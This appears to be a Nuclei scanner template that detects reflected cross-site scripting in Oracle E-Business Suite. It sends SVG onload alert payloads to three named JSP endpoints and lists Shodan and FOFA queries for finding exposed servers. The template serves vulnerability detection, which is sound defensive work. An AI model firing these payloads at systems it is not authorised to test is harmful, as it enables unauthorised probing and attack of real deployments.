oracle-ebs-xss: Oracle E-Business Suite - Cross-Site Scripting

id: oracle-ebs-xss

info:
  name: Oracle E-Business Suite - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: Oracle E-Business Suite is vulnerable to Cross Site Scripting.
  reference:
    - https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite.pdf
    - http://www.davidlitchfield.com/AssessingOraclee-BusinessSuite11i.pdf
  metadata:
    max-request: 3
    shodan-query: html:"OA_HTML"
    fofa-query: body="OA_HTML"
  tags: oracle,xss,ebs,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: word
        part: response
        words:
          - "OA_HTML"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/OA_HTML/jtfLOVInProcess.jsp%3FAAA%3DAAAAAAAAAA%27%22%3E%3Csvg%2Fonload%3Dalert('{{randstr}}')%3E"
      - "{{BaseURL}}/OA_HTML/oksAutoRenewalHelp.jsp%3Fthanks%3D%27%22%3E%3Csvg%2Fonload%3Dalert('{{randstr}}')%3E"
      - "{{BaseURL}}/OA_HTML/ieuiMeetingErrorDisplay.jsp%3FErrCode%3D%27%22%3E%3Csvg%2Fonload%3Dalert('{{randstr}}')%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert('{{randstr}}')>"

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4a0a00473045022100cb364e0b9aee9ae7087e735b017ef07c482d1edef0b4dea3f4efc86e1c45cf6f0220214d49dd4d005e2e261a6c4f60111681542d38950346f238f03b15f7a26340ae:922c64590222798bb761d5b6d8e72950